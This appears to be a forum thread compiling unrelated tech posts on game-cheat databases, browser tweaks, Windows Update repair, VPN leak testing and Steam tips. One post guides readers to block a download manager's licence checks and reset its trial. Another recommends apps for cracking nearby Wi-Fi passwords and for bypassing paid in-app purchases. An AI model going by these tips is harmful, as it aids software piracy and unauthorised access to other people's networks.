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  1. CheatBook Issue 03/2017 - March 2017 FYI: I've posted this separate thread for Cheatbook Issue Release in accordance to conversation between myself, @Batu69 & @DKT27. For more info, read below spoiler: Cheatbook (03/2017) - Issue March 2017 - Cheatbook is a Cheat-Code Tracker with Tips, Hints for several popular PC Action and Adventure Games. While die-hard gamers would hate to hear that some players receive help in their games, it is sometimes necessary to get walkthroughs for players to enjoy their games. Cheatbooks are designed to give handy hints and cheats to players who need some help in handling their games. The latest Cheatsbook Issue 03/2017 provides assistance for 414 PC games, 58 console cheats and 14 walkthroughs for PC. It provides the latest cheat codes for strategy, action and other games to help you get the most out of your plays. The tabbed graphical user interface makes it easy to access various features on a single program window. When you click on PC Cheats, PC Walkthroughs and Console tabs, you will see relevant titles listed alphabetically on a pane on the left part of the program window. Clicking a game title displays its details on the right side of the interface. The lower part of the program window also provides information relevant to the selected title. You can save the details as text files, print or send them to a friend via email. Since you save the required information in text format, you can use different applications to access and read them later. In addition to these tabs, the software also includes update, info, news and links tabs. The latest Cheatbook database includes many suggestions from users and all cheats from the initial release to date. You can download and use it for free for as long as you want. Current users of CheatBook who have already installed the CheatBook-DataBase 2001 v4.0, CheatBook-DataBases 2002 through 2016, or the new Cheatbook-Database 2017, will be able to update your DataBase directly. (Win95/ 98/ NT/ XP/ Windows Vista/ Windows 7/ Windows 8/ Windows 10)(Install/ Uninstall) [Freeware] For the most part, the Cheatbook-Issues focuses on newer cheat releases. If you need help with the latest and greatest games, the monthly Issue´s of CheatBook should be a big help. Downloads: CheatBook 03/2017 - March 2017: Cheat Book - 03/2017[Size: 5.7 MB] - Cheats, Codes, Hints, Update. Older Cheatbook Issue Mirrors - 2017: http://www.cheatbook.de/cheatbook-2017.htm Cheatbook-Database 2017 + Updates - Direct Downloads:
  2. Cheatbook-Database 2017 + Updates CheatBook DataBase 2017 - The encyclopedia of game cheats. A die hard gamer would get pissed if they saw someone using cheats and walkthroughs in games, but you have to agree, sometimes little hint or the "God Mode" becomes necessary to beat a particularly hard part of the game. If you're an avid gamer and want a few extra weapons and tools the survive the game, CheatBook DataBase is exactly the resource you would want. - Find even secrets here. Cheatbook-Database - Games, Cheats, Hints, Tips, Walkthroughs, Trainer and Cheat Codes... Cheatbook-DataBase 2017 is a cheats code tracker that makes hints, Tricks, Tips and cheats (for PC, Walkthroughs, Playstation, Playstation 2, Playstation 3, Playstation 4, Sega, Nintendo 64, Nintendo DS, DVD, Gameboy Advance, Gameboy Color, N-Gage, Nintendo DS, XBox, XBox 360, XBox One, iPhone, Gamecube, Dreamcast, Super Nintendo, Wii, Wii U, Sony PSP) easily accessible from one central location. If you're an avid gamer and want a few extra weapons or lives to survive until the next level, this freeware cheat database can come to the rescue. Covering more than 23.150 Games Cheats, this database represents all genres and focuses on recent releases. Games are listed alphabetically in the left-hand window. When you click on a game name, the relevant cheat is displayed in a editor window, with convenient buttons that let you print the selection or save any changes you've made. In the latest past many users of the CheatBook-DataBase and readers of the monthly being published magazine have sent to us small error messages and suggestions for improvement again and again. First of all we say "Thank you very much!" to all of you! Due to this assistance and the permanent sending in of new and revised cheats the Cheatbook is ever increasing and becoming more and more voluminous. Release date: January 6, 2017. Update Release: February 28, 2017. All Cheats inside from the first CHEATBOOK January 1998 until today Supported Operating Systems: Cheatbook-DataBase 2017 is Freeware for Win95/ 98/ 2000/ NT/ XP/ Vista/ Windows 7/ Windows 8/ Windows 10. Screenshots: Installation: Main Program: Unzip the ZIP package. Optionally read "readme.txt" Run "setup-Cheatbook-Database2017.exe" Follow the prompts. Updates: Unzip the ZIP package. Optionally read "readme.txt" Run "cheatbooksetup.exe" It'll extract and open a folder. First instance, it'll auto install, just click on "Direct Update". Note: If you use Vista & later, post first install, when asked for uninstall dialog, cancel it and run the file named "Cheatbook 0x.2017" with admin prompts. To check the installation: Open Cheatbook Database 2017 Main program and click "Update" from Menu and Click on "Update infos". If properly installed, the installed month's issue should show "Green". Repeat the checking with "Run as Administrator" on Main program. It should show Green too. If not repeat the issue install as mentioned in Step 5. Now, click uninstall from extracted folder and click on "Delete All" to complete installation. Downloads: Cheatbook-Database 2017 - 68.29 MB: Cheatbook Database 2017 - Main Program Cheatbook Issue - Updates: January 2017 - 6.2 MB - Not Required to install with 2017 version since it is already included. February 2017 - 7.9 MB March 2017 - 5.7 MB -
  3. How well do you know your Android device? Here are some of the hidden Android secret codes. Since most hidden menus are manufacturer specific, there’s no guarantee that they’ll work across all Android smartphones, but you can try them out nevertheless on your Samsung, HTC, Motorola, Sony and other devices. Be advised, though, that some of these can cause serious changes to your device’s configuration, so don’t play with something that you don’t fully understand. You can find more of these spread across the internet, and they’re usually very handy to have, even if just to show off your geekiness to your social circle. Update x1: More codes! Source : Redmondpie
  4. How To Speed Up The Vivaldi Web Browser The following guide lists tweaks and suggestions on how to speed up the Vivaldi web browser to reduce lag and improve the browser's performance. Vivaldi is based on Chromium, and performance should not really be much of an issue because of this. However, the browser may feel sluggish or laggy at times, with actions like opening a new tab or switching to another tab being noticeably delayed. I noticed the tab delay issue recently on a modern system running Windows 10, and decided to look into it to find a solution. I did find the culprit after a while. If you open vivaldi://settings/all/ in a tab, all activities in the browser are delayed as long as the settings page remains open. So, make sure you close the settings when you are done modifying them. Speed up the Vivaldi web browser First thing I did was go through all browser settings to optimize the preferences for performance. Please note that some changes may reduce the functionality of the browser. If you cannot live without it, e.g. mouse gestures, then don't disable the option. vivaldi://settings/tabs/ -- I set the New Tab Page to "specific page" but without setting one. vivaldi://settings/tabs/ -- Disable "show popup thumbnails", "show tab thumbnails", "detect page title notifications", and "use unread indicators". This removes some eye candy from Vivaldi, and the highlighting of unread messages on select social media sites. vivaldi://settings/startup/ -- Make sure "lazy load restored tabs" is enabled if the browser is set to load the last session on start. vivaldi://settings/appearance/ -- Disable "use animation" and "use buttons in range controls". Try "use native window" to see if it makes a difference. vivaldi://settings/themes/ -- Edit the current theme, and make sure "accent color from active page" is disabled. vivaldi://settings/start-page/ -- Disable "show background image". vivaldi://settings/addressbar/ -- Disable "fast forward and rewind" vivaldi://settings/mouse/ -- Disable "allow gestures" and "allow rocker gestures". These settings may reduce some of the performance issues that you may experience when running the Vivaldi browser. The Task Manager Tip: I suggest you make use of the built-in Task Manager to monitor memory and CPU utilization of the browser, gpu, tabs and extensions. Extensions may slow down the browser, and you may want to disable some or even all to find out whether doing so improves the performance of the web browser. Vivaldi start up parameters Vivaldi supports pretty much the same startup parameters as Chromium and Google Chrome. While there may be some differences, you may use the following parameters to improve the browser's performance or resource usage further: --process-per-site This switches the multi-process model from using one process per page, to one process per site. Useful if you open multiple pages of the same site regularly at the same time, as you will save quite a bit of memory then. --disk-cache-dir=z:\vivaldi\ --disk-cache-size=104857600 This moves the disk cache that Vivaldi uses to drive z:\, and sets the maximum cache size to 100 Megabytes (the value is in bytes). If you have enough RAM, z: could be a ram disk to further improve the process. --enable-low-end-device-mode This enables low end device mode which improves memory consumption of the browser. --enable-low-res-tiling This enables low res tiling which helps on slower devices when scrolling pages. How to add the parameters On Windows, you right-click on the Vivaldi icon (for instance on the taskbar), and right-click on Vivaldi in the menu that opens. Select Properties in the menu that opens then, and add the parameters to the target field of the properties window. Make sure that there is a "blank" between the path and filename, and the first parameter, e.g. C:\Users\Martin\AppData\Local\Vivaldi\Application\vivaldi.exe --disk-cache-dir=Z:\Vivaldi\ --disk-cache-size=1073741824 Now You: Have another tip for improving Vivaldi's performance? Source
  5. "Compilation Of Tutorials, Guides, Tips & Updates" (The Playground where ordinary men & women dared to achieve the extraordinary) "Preventing IDM From Dialing Home" (monitor post 2 for all updates) Notice:— My tutorials can be re-distributed anywhere without having to consult with me My name does not need to be credited — in fact, I do not want my name to be reflected Credits will need to be given, though to nSane Forums — a link to the homepage would be appreciated The post following this one shall be kept updated with all due credits to Contributors and the date-wise changes to this main post. Those who do not like/wish to use a firewall on their copy of IDM can check out Dukun Cabul's AIO (All-In-One) batch file — or, his Trial Reset. Caution Note:— This guide is meant for Advanced Users & Intellectuals — if you are a n00b, please do not proceed. The Procedure:— Just follow the 5 steps mentioned below. Step # 1:— As a precaution, check for and delete the encrypted key which Tonec could have possibly used in order to blacklist your IDM activation (thanks to Taker):— Step # 2:— As a precaution, ensure your IDM is disabled from starting-up with Windows (inspirational credits to FR33W1LL):— Step # 3:— Use your firewall to block the following IPs:— Step # 4:— Batch file to clean-up your IDM (all credits to Dukun Cabul):— Step # 5:— This is the final step, just register your IDM until it gets activated (as per the following illustrations) — you are done . . . . . . . . . . congratulations!!! Tip # 1:— Those who are receiving a nag despite the above procedure can use the following tip by Taker:— Tip # 2:— Those who wish to enjoy downloading rights to the official installer from the IDM homepage can use the following tip from PITA:— Tip # 3:— Those who prefer the awesome GetRight Pro sounds can now download these files from the following link:— Tip # 4:— Those who would like to backup their configuration and settings for IDM and for other programs & applications as well, can refer to the following:— Tip # 5:— Those who would like to personalize their IDM registration to brand it as per their own choice may want to download the following branding registry file (just replace the name fields with one of your own choice):— Tip # 6:— Those who would like to use my personal Sites of Exception can execute a copy-paste of the following sites:— Tip # 7:— Those Users of the built-in Windows Firewall who would like to create the above IDM rules via Command Prompt can use the following tip from Michael*:— Tip # 8:— Those who would like to use my personal File Types can execute a copy-paste of the following sites:— Tip # 9:— A special return gift to The Advocate of the hosts method:— Tip # 10:— Those looking for a fast and easy method to enter those 27 IPs into your Windows Firewall can use the following tip from A.lemane:— Tip # 11:— The latest IDM integration add-on shall be kept updated here: Tip # 12:— Those looking for a fast and easy method to enter those 27 IPs into your COMODO Firewall can use the following tip from bubbada: "Illustrations On How To Configure Some Leading Firewalls" The following configurations for ESET Smart Security firewall is brought to you, courtesy of hihello and software182:— The following configurations for Outpost Pro firewall is brought to you, courtesy of KP333 and JAPONE:— The following configuration for Windows Firewall was initiated by Zarko:— Illustrations for Windows Firewall Control:— The following configurations for Users of the Norton 360 firewall is brought to you, courtesy of abbasi:— The following configurations for Users of the Kaspersky firewall is brought to you, courtesy of IamBidyuT — honorable mention to Taker, MyIDM, PITA, Now, pamadhilwankalan & villasg too for their part of the contribution:— The following configurations for Windows 8 Firewall Control is brought to you, courtesy of anyname:— The following configurations for COMODO is brought to you, courtesy of masterupc:— The following configurations for Private Firewall is brought to you, courtesy of mona:— The following configurations for Avast Internet Security 2015 is brought to you, courtesy of villasg:— The following configurations for Bitdefender Internet Security 2015 or Bitdefender Total Security 2015 is brought to you, courtesy of Dukun Cabul:— Inspirational credits:—
  6. Try These Cool Android Smartphone Hacks And Get The Best Out Of Your Mobile Here are some of the best Android smartphone hacking Apps Android is undoubtedly the world’s most popular mobile operating system. With over 1.5+ billion plus users, Android is way ahead of iOS. Similarly, in Apps space, Android hacking apps are also increasing. Many of these hacking Apps are meant for pros but some can become useful to you also. With such hacking Apps, you can remove unnecessary bloatware utilizing most of the internal storage memory. While other times, such hacking App may help you remove irritating ads or allow you to access blocked system Apps. We bring you such hacking Apps which let you get the best out of your Android smartphone. Remember most of these Apps require a rooted smartphone to try them out. INCREASE RAM Root your phone. Download ROEHSOFT RAM EXPANDER from Google Play Store. Convert desired amount of SD card space into system swap RAM. This will make apps perform better when you have lot of storage area in your SD card. Wi-Fi WPS/WPA TESTER Download WIFI PS/WPA Tester App from Google Play Store. It let’s you analyze your WiFi security and others in the vicinity and attempts to hack their password It only hacks WPS enabled WiFi networks. REMOVE UNWANTED SYSTEM APPS OR BLOATWARE Root your android phone and Download sSystem app remover (ROOT) from Google Play Store. Remove many unwanted inbuilt Apps which you don’t think are necessary from internal storage of your Android phone.\ HACKING HUB Download the app Linux Deploy from Google Play Store. This installs Linux Operating system on your Android phone. Then use use Aircrack and other hacking Apps on your phone to hack WiFi and website passwords. FREE STUFF Root your phone Download and install BusyBox App from Google Play Store. Install modded Play Store from Lucky Patcher. With Lucky Patcher App you hack in-App purchases and get free stuff or game coins ACCESS BLOCKED CONTENT Download CyberGhost App from Google Play Store. Use it to connect to a VPN of a country of your choice. Now you can download apps from Google Play Store which are blocked in your country and also use websites like torrent websites blocked in your country. BATTERY LIFE Root your phone Download Greenify App from Google Play Store Hibernate many user and system apps. Greenify allows you to hibernate apps that won’t use battery and memory in background. So, you can save battery life and RAM. BUILD PROP EDITING Most of the Android smartphones out promise you 8MP images but in fact deliver only 6MP picture quality on 8MP camera. If you are facing a similar issue, you can solve it using this hack. This also requires a rooted smartphone. Download BuildProp Editor App from Google Play Store. Goto –>add entry Ro.ril.max.jpeg.quality. And set it’s value to 100 so it looks like Ro.ril.max.jpeg.quality = 100 Once done, your 8MP smartphone camera will deliver you 8MP images TUBEMOTE Download Tubemote from Google Play Store. Now you can download any and all online videos, not just from YouTube but any website in your desired resolution and quality at high speeds. You can also download just mp3 or m4a sound files from videos. ANDROID ID CHANGER Root your phone. Download Android Device ID Changer App from Google Play Store. Change your Android ID, which apps use to identify you and restart the phone. Your Android smartphone has a new Android ID. DRIVEDROID Download Drivedroid App from Google Play Store. Once installed, open the App and download LINUX.iso file from the dropdown menu. Burn this image on your phone and use it as CD or USB drive to boot your PC. KABOOM THE SELF DESTRUCTING APP Download and install Kaboom App from Google Playstore This App lets you control the photos and messages you post online. You can use this App to make the images and posts disappear at a set time. FAKE LOCATION Download Fake Location GPS App from Google Play Store Go to —> Settings Tap on Build Number 7 times to unlock Developer Options. Enable Mock Locations. Open Fake Location GPS app and set your location to any place in the world you wish. Source
  7. Cheatbook-Database 2016 + Updates CheatBook DataBase 2016 - The encyclopedia of game cheats. A die hard gamer would get pissed if they saw someone using cheats and walkthroughs in games, but you have to agree, sometimes little hint or the "God Mode" becomes necessary to beat a particularly hard part of the game. If you're an avid gamer and want a few extra weapons and tools the survive the game, CheatBook DataBase is exactly the resource you would want. - Find even secrets here. Cheatbook-Database - Games, Cheats, Hints, Tips, Walkthroughs, Trainer and Cheat Codes... Cheatbook-DataBase 2016 is a cheats code tracker that makes hints, Tricks, Tips and cheats (for PC, Walkthroughs, Playstation, Playstation 2, Playstation 3, Playstation 4, Sega, Nintendo 64, Nintendo DS, DVD, Gameboy Advance, Gameboy Color, N-Gage, Nintendo DS, XBox, XBox 360, XBox One, iPhone, Gamecube, Dreamcast, Super Nintendo, Wii, Wii U, Sony PSP) easily accessible from one central location. If you're an avid gamer and want a few extra weapons or lives to survive until the next level, this freeware cheat database can come to the rescue. Covering more than 23.150 Games Cheats, this database represents all genres and focuses on recent releases. Games are listed alphabetically in the left-hand window. When you click on a game name, the relevant cheat is displayed in a editor window, with convenient buttons that let you print the selection or save any changes you've made. In the latest past many users of the CheatBook-DataBase and readers of the monthly being published magazine have sent to us small error messages and suggestions for improvement again and again. First of all we say "Thank you very much!" to all of you! Due to this assistance and the permanent sending in of new and revised cheats the Cheatbook is ever increasing and becoming more and more voluminous. Release date: January 10, 2016. Update Release: December 31, 2016. All Cheats inside from the first CHEATBOOK January 1998 until today Supported Operating Systems: Cheatbook-DataBase 2016 is Freeware for Win95/ 98/ 2000/ NT/ XP/ Vista/ Windows 7/ Windows 8/ Windows 10. Screenshots: Installation: Main Program: Unzip the ZIP package. Optionally read "readme.txt" Run "setup-Cheatbook-Database2016.exe" Follow the prompts. Updates: Unzip the ZIP package. Optionally read "readme.txt" Run "cheatbooksetup.exe" It'll extract and open a folder. First instance, it'll auto install, just click on "Direct Update". Note: If you use Vista & later, post first install, when asked for uninstall dialog, cancel it and run the file named "Cheatbook 0x.2016" or "Cheatbook 0x.2017" with admin prompts. To check the installation: Open Cheatbook Database 2016 Main program and click "Update" from Menu and Click on "Update infos". If properly installed, the installed month's issue should show "Green". Repeat the checking with "Run as Administrator" on Main program. It should show Green too. If not repeat the issue install as mentioned in Step 5. Now, click uninstall from extracted folder and click on "Delete All" to complete installation. Downloads: Cheatbook-Database 2016 - 69 MB: Cheatbook Database 2016 - Main Program Cheatbook Issue - Updates: Jan 2016 - 5.7 MB Feb 2016 - 4.2 MB Mar 2016 - 4.5 MB Apr 2016 - 4.4 MB May 2016 - 4.8 MB Jun 2016 - 5.6 MB July 2016 - 5.8 MB August 2016 - 4.9 MB September 2016 - 6.19 MB October 2016 - 5.9 MB November 2016 - 4.8 MB December 2016 - 3.6 MB January 2017 - 6.2 MB -
  8. Random Steam Keys (Full Version) - Full Version Steam Games Promo by Chip.de Links: Offer: http://www.chip.de/downloads/Random-Steam-Key-Vollversion_99958686.html Note: Limited Period Offer. The first 40,000 CHIP-reader will receive a random game completely free of charge. Current Status - Open. Steps - Software to Get Steam Key: Steps - Redeem on Steam: To be able to Key in to Steam to redeem, you must first have a user account on the game platform. You can create an account or login using Steam - Official Website. In addition, the Steam Client must be installed on your System. You can download from the below. After launching the Client, you will be able to redeem the Key: Once you have installed the Steam client, launch the client and enter your login credentials. When you are logged into your account, click the button in the bottom left corner that says "+ ADD A GAME…" to register the product key to your account. Note: YOU CAN ONLY REGISTER STEAM KEYS THROUGH THE STEAM PROGRAM, NOT THE WEBSITE! THERE IS NO "+ADD A GAME..." ON THE STEAM WEBSITE ANYWHERE! In the pop-up window, select the "Activate a Product on Steam" option. This will open up a new window. Follow the prompts, and paste or enter the numerical key you copied from your download page into the "Product Code" field. Hit "NEXT>." If your key is valid, Steam will accept it and you will be taken to your library where you will be able to download and play your newly registered game! Note: If the key extends beyond the reach of the key field on your download page, simply double-click inside the field to select the whole key. This way, regardless of how much of the key looks to be cut off, you will copy the whole thing! From your LIBRARY tab you can see all games registered to your Steam account. You can then select a game and it will bring up a splash page with a large INSTALL button you can click on to install your games. Once your games are installed, the Install button will change to a PLAY button! And that's how register your product keys to Steam! Hopefully this information will help so you can get right to playing your game! Optional Guide and Troubleshoot: https://support.steampowered.com/kb_article.php?ref=7480-WUSF-3601 Downloads: Giveaway - Installer[Chip.de] From the giveaway promo page, click on blue button "Download Vollversion" and then click on ">> Download-Server CHIP Online" to initiate the download. Steam Client: Linux: https://steamcdn-a.akamaihd.net/client/installer/steam.deb Win: https://steamcdn-a.akamaihd.net/client/installer/SteamSetup.exe Mac: https://steamcdn-a.akamaihd.net/client/installer/steam.dmg More Advent Kalender Giveaways:
  9. Find Out If Your VPN Leaks Your IP Address Find out if your Virtual Private Network (VPN) connection leaks your computer's IP address and how it is leaked to plug the leak. Virtual Provider Networks (VPNs) are used for a variety of purposes. Common reasons include protecting one's privacy on the Internet, improving the security of the Internet connection, bypassing censorships and blocks, and using it for business purposes. If you use a VPN for privacy, regardless of whether that is your main reason for using it or just a nice addition, you may want to make sure that your "real" IP address is not leaked when you are connected to the VPN. The reason for this is simple: there is no privacy if the device IP leaks. The IP address links back to you directly. While a court order is usually required to link the IP to a name, it alone can reveal information such as the country and region you are connecting to directly. Find out if your VPN leaks your IP address It is suggested to verify that a VPN connection does not leak IP address information. I suggest you do so on every connect, but at least the first time you connect to it and maybe occasionally afterwards as well. There are plenty of sites out there that you can use for the purpose. Good news is that you only need to load one of them to find out whether your VPN leaks information. The site that I use frequently is IP Leak. You find other sites for that purpose listed on our privacy test resource listing. Note: It is recommended that you disable any script blocker (including ad-blockers) when you run the test as they may block scripts from running on the site that are required to give you an accurate reading. All you need to do is connect to the site, and wait for it to display the results of its analysis. This should not take longer than a couple of seconds. IP Leak tests the following: The IPv4 IP address. The IPv6 IP address. Whether WebRTC leaks the IP address. Whether DNS leaks the IP address. Whether a proxy is used (if not transparent). Torrent address detection. Geolocation detection. Look up of the IP address that reveals Tor and AirVPN use, ISP, organization, country, and more using public databases. User agent and system information. If you see different IP addresses or locations, say the correct one for the IPv4 IP address, and another for the IPv6 IP address, then there is a chance that third-parties that you connect to see both IP addresses as well. You may want to make sure that the IP address and the country that IP Leaks displays after the test matches the VPN Provider's network. Closing Words It is highly recommended to run tests regularly to find out if your VPN connection leaks your IP address. While you may not want to do so on each connect, I recommend you do so at least on first connect, on every software update, and every now and then in between. If you notice a leak, you may want to plug it before you start using the VPN. How that is done depends largely on the leak and the client you use to connect to the VPN. Some VPN providers provide leak protection options in the VPN clients that they provide their customers with. Now You: Talking about VPNs: which do you use and why? Source
  10. [Guide + Tested Fix] Windows Update in Windows 8.1[x86+x64]: Slow/Not Checking for Updates - High CPU/RAM Usage - Internet Usage but no updates detected - Last Update stays Days Ago or Never - No Internet Usage - Slow Installation Issues Many people fed up with Windows Update issues and many sites/forums and even the Microsoft Support requesting for a refresh/reset/reinstall/clean installation of the OS[Windows 8.1]. However, it is unnecessary if you follow the below tested guide. Also, those who have already done refresh/reset/reinstall/clean installation of the OS can make use of the fix in the end of the guide directly to fix Windows Update Issues. Many wonder when they install Windows 8, windows updates work fine but after upgrading to Windows 8.1, the issue starts again. Many of Windows troubleshooting guide including the Microsoft Support guides and everywhere ask users to Enable Automatic Updates and it'll download the necessary updates to fix the issue for recently installed OS devices[clean/fresh install]. However, this isn't working for most people. Also, the settings "Metered Connection", "Automatic Updates linked to Maintenance", Fast Startup and more settings hinder the normal fix on Windows 8/8.1 and later. Microsoft is really making things hard. If you wait for maintenance to fix, it won't. You'll either end up with maintenance completed but issue not fixed or maintenance doesn't run at set time. FYI: In my context, Windows Update corruption is mostly linked with inbuilt background tasks like Maintenance, Automatic Defragmentation and some of our own/scheduled/set time for "Sleep" or "Hibernate" settings/config. Note: Some sites/forums incl. Technet/Microsoft Support may recommend entering Audit Mode/OOBE Mode using Sysprep to check for updates and then boot to normal mode. However, it is currently reported by many that Windows Update doesn't detect any updates in this mode but stuck in checking for updates loop and also your OS may enter into Audit mode loop which mostly the tricks to come out doesn't work at all. It happened to me once. I had to re-install the OS completely again. Hence, please don't ever test it to fix Windows Update issues. FYI: In this guide, I'm not mentioning KB2919355 since the newer windows installation ISO already include this update. If you have a much older ISO, then you should check in "Installed Updates". If not found, download and install this update from here: x86 or x64. Please read install instructions and install the updates in the specified order or you'll land in a new trouble. Read "Steps to Avoid Searching for Updates Issue while using Standalone Installers" in the end of this post for faster installation initiation of standalone installer. Basic Steps: Note: Not applicable to recently installed OS devices[clean/fresh install] or if you recently used refresh/reset. Please skip the basic step and move to the next step. Others, follow the Basic Steps before proceeding to "Windows Update Fix - Tested". In Windows 8.1, if you experience issues with Windows Update, please follow the basic steps one after another. Check Connection Settings: Open "Internet Options" from IE or open Windows Explorer and copy paste "Control Panel\Network and Internet" and press enter. Click on "Connections" tab. Then click on "LAN Settings". Make sure "Automatically detect settings" is Enabled and others incl. Proxy are Unchecked. Now follow the further steps. Check Windows Update is turned on with proper setting and you have a stable internet connection: Note: Make sure that updates are turned on for other Microsoft Products and Services. You can check this here: Open Windows Update, you should see that: You receive updates stating "For Windows and other products from Microsoft Update". If it states, "Windows only", then click on "Change Settings" and check the box under "Microsoft Update". Inbuilt Windows Update Troubleshooter & Standalone Troubleshooter: Open Control Panel, Click "Find and Fix Problems". Alternatively, copy paste "Control Panel\All Control Panel Items\Troubleshooting" in address bar without quotes in windows explorer. Or Open Action Center and click "Troubleshooting". Under "System and Security", Click "Fix problems with Windows Update". Click on "Advanced" and click "Run as administrator". Now, click Next. Optionally, if you want to know the issues detected before fixing, then uncheck the "Apply repairs automatically" and then click Next. Take note of the detected error codes, issues and the fixes done. It'd be helpful, if you still have trouble after applying all the steps. Now Reboot[make sure the fast startup is disabled] in power options. Power Options-> Choose what the power buttons do -> change settings that are currently unavailable. After reboot, open both the task manager[to check network usage and activity, CPU usage and RAM usage] and Windows Update. Now, click on Check for Updates. Max time to wait on an average internet speed is 1 hour. If it solves the issue, well done. If not, try the same using latest Diagnostic Windows Update Troubleshooter from here. CHKDSK in command prompt: Open elevated command prompt, which means Command Prompt[Run as administrator]. Press "Ctrl + X" and press "Shift + A". Note: If your main partition is not "C:" drive, replace the "C:" with your main partition drive letter in the command "CHKDSK C: /F /R" without quotes and run it. It should ask for reboot(s). It should fix some Windows Update issues. If you still have issue with Windows Update, proceed to next step. Inbuilt DISM Tool: Make sure that you have internet connection turned on. Also, make sure you keep a copy of the log file from "Main partition->Windows->Logs->DISM->dism.log" after running "ScanHealth" or "RestoreHealth" or "Start ComponentCleanup". Open elevated command prompt, which means Command Prompt[Run as administrator]. Press "Ctrl + X" and press "Shift + A". Now, run the command "DISM /Online /Cleanup-Image /CheckHealth" without quotes. It should show no component corruption found. If it shows corruption found, run the command "DISM /Online /Cleanup-Image /ScanHealth" to check if the corruption is repairable. If repairable, Run the command "DISM /Online /Cleanup-Image /RestoreHealth". Note: It'll take few mins to hours. It starts doing its work from 20%. However, it stops in 40% too. If it shows corruption fixed, then the DISM part is over and proceed with sfc scan step-7. However, if you get corruption not fixed, then proceed with the sub-steps below. You need a Windows 8.1 OS installation ISO with "install.wim" file located in "sources" folder. If you don't have one, you can get it from Tech Bench download ISO for Windows 8.1. Since the Tech Bench download page is blocked after Windows 10 upgrade offer ended, Please Reply to this thread and I'll provide the unique Microsoft download link in PM. Once you have the ISO, mount the ISO. No need of third party tools. Just right click the ISO and choose "Mount". Now, open elevated command prompt and run the command "Dism /Online /Cleanup-Image /RestoreHealth /Source:wim:D:\sources\install.wim:1 /LimitAccess" Note: Replace "D:" with the exact drive letter of the mounted ISO. It should fix the corruption. If you get error, run the command "Dism /Online /Cleanup-Image /StartComponentCleanup" and then run the RestoreHealth Command above. If corruption is fixed, then you should run the sfc /scannow. You can view the usage guide here. Make sure you keep a copy of the log file from "Main partition->Windows->Logs->CBS->CBS.log" Now Check for Updates in Windows Update and if still taking hours with no detection or no internet usage with more CPU usage, proceed to next step "Windows Update Fix - Tested". Windows Update Fix - Tested: Note: This fix is also applicable for clean install / refresh / reset / recently installed devices. This fix doesn't have any Windows 10 connection or telemetry which makes it trusted fix from Microsoft. Download using Microsoft Update Catalog: Note: If you use IE with Microsoft Update Catalog with addon, you can continue using IE. Or if you have other browsers, you can use it instantly without any addon installation. Visit this page and click "Download" according to architecture and OS installed. In the pop-up window, click the link to start downloading the .msu file. Download from Download Center: You can visit this KB Details page and locate the downloads according to architecture and OS installed. Steps to Avoid Searching for Updates Issue while using Standalone Installers: Change Windows Update Setting to "Never check for updates" and Disable/Disconnect Internet. Install the update. Note: After installation started, change Windows Update Setting to "Check for updates but let me choose whether to download and install them" and enable Internet. Note: If you are already in a search for updates loop in standalone installer, close the window and use end process tree in open task manager -> Details tab -> wusa.exe. Once done, open main partition in Windows explorer and delete the newly created folder named in a type of encrypted code. Then follow the above 2 steps to install again. [Not-Recommended Fix] Alternatively, If you like to fix with Win 10 related update, you can manually install alternate fix KB3112336 or any newer Windows Update Client for Windows 8.1. Source: My own article guide by personal experience. Update - New Windows Update Client to fix if the above fix doesn't help:
  11. How to Move a Steam Game to Another Drive Without Re-Downloading It Steam offers multiple library folders, and you can choose where you want to install games when you download them. There’s no obvious way to move a game to another drive after the fact, though–but it is possible, without re-downloading the entire thing. This process can save you from downloading tens or even hundreds of gigabytes of game data all over again, just because you got a new SSD and want to move a few games. It’s different from moving an entire Steam library folder and every single game inside it–in this case, we only want to move a few games. RELATED ARTICLE: How to Painlessly Move Your Steam Library to Another Folder or Hard Drive Step One: Create a Second Steam Folder First, you’ll need to make a Steam library folder on the second drive if you haven’t already done so. To do this in Steam, click Steam > Settings. Select the “Downloads” category and click the “Steam Library Folders” button. Click “Add Library Folder”, select the drive you want to create the library folder on, and click “New Folder”. Give it whatever name you like, click “OK”, and then click “Select” to choose the folder you just created. The folder you chose will appear in the Steam Library folders list. You can now close this window. Open File Explorer or Windows Explorer and navigate to the folder you just created. There should be a “steamapps” folder inside the main folder. If there isn’t, right-click inside the Steam folderyou created, select New > Folder, and name it “steamapps” (without quotes). Inside the steamapps folder, right-click, select New > Folder, and name it “common” (without quotes). When you’re done, the folder structure should be: [Your Steam Library Folder]\steamapps\common Step Two: Copy the Game Files to the Second Library You’ll now need to move a game’s files from the first Steam library to the secondary Steam library you just created. Locate the installed game you want to move in your Steam library, right-click it, and select “Properties”. Click over to the “Local Files” tab and click “Browse Local Files”. You’ll be taken to the game’s folder in your main Steam library folder. Click the “common” folder in the address bar to go up a folder. Right-click the game’s folder and select “Copy”. Go back to the Steam library you created earlier, right-click inside the “common” folder, and select “Paste”. Windows will copy the files from your first Steam library to your second Steam library. Wait for the process to complete before continuing. Depending on how large the game is and how fast your drives are, this may take some time. Step Three: “Uninstall” the Game Next, you’ll need to uninstall the game from within Steam. Steam will delete the game’s files from their location in the original Steam library, but the files you copied to the second Steam library won’t be touched. Warning: Be sure to wait for the file copying process to complete before you uninstall the game! To uninstall the game, right-click it in Steam and select “Delete Local Content”. Click “Delete” again to delete the game’s files from your first library. Step Four: “Reinstall” the Game You’ll now need to reinstall the game as if you were re-downloading it–but don’t worry, Steam won’t re-download the game. Locate the game in your Steam library and click the “Install” button. Select the secondary library location where you copied the game’s files earlier under “Choose location for install” and click “Next”. Steam will check the library location and say it’s “discovering existing files” before downloading anything. This will take some time, as Steam is actually inspecting the files on your second drive to find they’re correct and not corrupted. If a few files are missing for whatever reason, Steam will just download those files. It won’t re-download the entire game. You’re done. Steam now considers the game installed in the second library. To move other games, just repeat this process. You can skip the first step and copy more game folders to the “common” folder in the second Steam library you created. Source
